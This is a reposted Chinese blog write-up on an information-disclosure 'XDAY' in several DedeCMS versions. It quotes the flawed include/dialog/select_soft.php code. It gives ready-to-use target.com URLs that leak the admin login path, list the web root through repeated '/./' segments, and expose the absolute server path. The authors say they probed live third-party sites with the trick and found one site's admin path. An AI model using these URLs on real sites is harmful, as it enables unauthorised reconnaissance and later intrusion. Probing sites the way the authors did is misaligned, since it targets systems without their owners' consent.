DEDECMS XDAY -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    作者:st0p

    在此记录一下,嘿嘿,这个洞可是杰少偶们两发现的哦,

DEDECMS XDAY

。。。相当YD吧,而且还帮我找到了两个ROOT权限。。

    此漏洞为st0p和杰少发现,版权没有,欢迎转载!

    为啥叫XDAY不叫0DAY呢,因为这个洞比较乱,涵盖的版本比较多,但却用处不大,相当鸡肋,不过利用好了还是有点效果的。。

    正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西,include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台。

    看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向。如图1

    失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2

    看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了。。下面去还有织梦的图片。。。。

    既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西。

    首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下

    include/dialog/select_soft.php

    PHP代码

   

    require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入

    if(emptyempty($activepath)) $activepath = "";

    $activepath = str_replace("..","",$activepath); //过滤了..但没过滤.

    $activepath = ereg_replace("^/{1,}","/",$activepath);

    if(strlen($activepath)

    $activepath = $cfg_soft_dir;

    }

    //如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft

    //注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php

    $inpath = $cfg_basedir.$activepath;

    $activeurl = "..".$activepath;

    if(emptyempty($f)) $f="form1.enclosure";

    if(emptyempty($comeback)) $comeback = "";

    ?>

    include/dialog/config.php

    //检验用户登录状态

    $cuserLogin = new userLogin();

    if($cuserLogin->getUserID()==-1)

    {

    if($cuserLogin->adminDir==)

    {

    exit(Request Error!);

    }

    $gurl = "../../{$cuserLogin->adminDir}/login.php?gotopage=".urlencode($dedeNowurl);

    echo "";//嘎嘎,看这里,检测如果没登陆就会转向我们可爱的后台登陆地址了

    exit();

    }

    虽然DEDECMS提供了修改后台目录的功能,但因为include/dialog/config.php的问题,还是会爆出后台管理路径。

    接着看另外那个有趣的地方,通过查看include/dialog/select_soft.php源码,我们看到/没过滤,那我们直接构造activepath=/aaa看看,由于下面检测长度的存在,会被替换成/uploads/soft,跳出失败,有些朋友可能会想到直接去构成比$cfg_soft_dir长度长的值就行了,比如/include/FCKeditor,就是可以访问的,

电脑资料

DEDECMS XDAY》(https://www.unjs.com)。

    我们访问http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor

    如图3

    看到没,跳转成功了,不过这对我们来说,用处不大。。那能不能跳到根目录呢。。经过st0p的尝试发现这个版本是可以跳转成功的。

    过滤了..但没过滤.,但下面检测了$activepath长度。小于这个长度,你杂跳都会一直在在/uploads/soft目录下面,那么我们就加N个./试试,

    结果在加到/././././././././时成功跳过

    我们访问http://target.com/include/dialog/select_soft.php?activepath=/././././././././

    如图4

    看到没,直接列出了根目录下的所有文件,还有PHP文件,不过不能查看内容。。

    而且DEDECMS在访问不存在的目录时会报错,我们还可以构建一个长度大于$cfg_soft_dir的任意目录,让他爆出绝对路径。

    如访问http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p

    结果如图5

    然后看了一下DedeCMS V5.3.1和最新的DedeCMS V5.5正式版,发现这两个版本对.进行了处理,而且只会列出目录和一些允许显示的文件,PHP是不能显示了

    include/dialog/select_soft.php

    PHP代码

   

    require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入

    if(emptyempty($activepath))

    {

    $activepath = ;

    }

    $activepath = str_replace(.,,$activepath);//看到没,这里把过滤..变成了过滤.

    $activepath = ereg_replace("/{1,}",/,$activepath);

    if(strlen($activepath) < strlen($cfg_soft_dir))

    {

    $activepath = $cfg_soft_dir;

    }

    //不过这个通过长度来检测的地方没过滤,嘿嘿我们还是可以利用的

    $inpath = $cfg_basedir.$activepath;

    $activeurl = ...$activepath;

    if(emptyempty($f))

    {

    $f=form1.enclosure;

    }

    if(emptyempty($comeback))

    {

    $comeback = ;

    }

    ?>

    如构造http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p可以爆出绝对路径

    构造http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor可以浏览此目录下的文件,当然你也可以跳到别的目录,但长度一定要大于设置中的目录。

    不过前提是你要登陆下才能利用,这个就显得有点鸡肋了。杰少说要是在爆一个注入漏洞就完美了。嘎。。。

    另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉到根目录去。不过这些版本的访问地址有些不同。

    地址为http://target.com/require/dialog/select_soft.php?activepath=/././././././././

    嘿嘿,最后发现includedialog目录下的另外几个文件都存在同一个问题,只是默认设的目录不同。有些可以查看HTML这些文件哦。。

    存在相同问题的文件还有

    includedialogselect_images.php

    includedialogselect_media.php

    includedialogselect_templets.php

最新文章